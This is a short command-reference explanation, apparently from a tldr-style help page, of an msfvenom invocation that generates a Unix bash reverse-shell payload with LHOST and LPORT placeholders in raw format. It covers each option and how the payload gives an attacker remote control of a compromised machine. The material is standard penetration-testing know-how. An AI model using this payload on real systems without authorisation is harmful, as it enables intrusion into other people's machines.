msfvenom:tldr:08cd6

This command is using a tool called msfvenom, which is a part of the Metasploit Framework. The purpose of msfvenom is to generate malicious payloads for exploiting vulnerable systems.

Here is a breakdown of the command:

• msfvenom: This is the command that runs the msfvenom tool.
• -p cmd/unix/reverse_bash: This option specifies the payload to use. In this case, it is a reverse shell in the Bash shell on a Unix-based system. A reverse shell allows an attacker to connect back to their own machine and gain remote access to the target system.
• LHOST=${local_ip}: This option sets the local IP address that the reverse shell should connect back to. The ${local_ip} should be replaced with the IP address of the machine running the msfvenom command.
• LPORT=${local_port}: This option specifies the local port that the reverse shell should connect back to. The ${local_port} should be replaced with the desired port number.
• -f raw: This option specifies the output format of the payload. In this case, it is set to raw, which means the payload will be in raw binary format rather than a specific file format.

By running this command with the appropriate values for LHOST and LPORT, the user can generate a malicious payload that, when executed on a vulnerable system, will establish a reverse shell connection back to the attacker's machine. This allows the attacker to control the compromised system remotely.
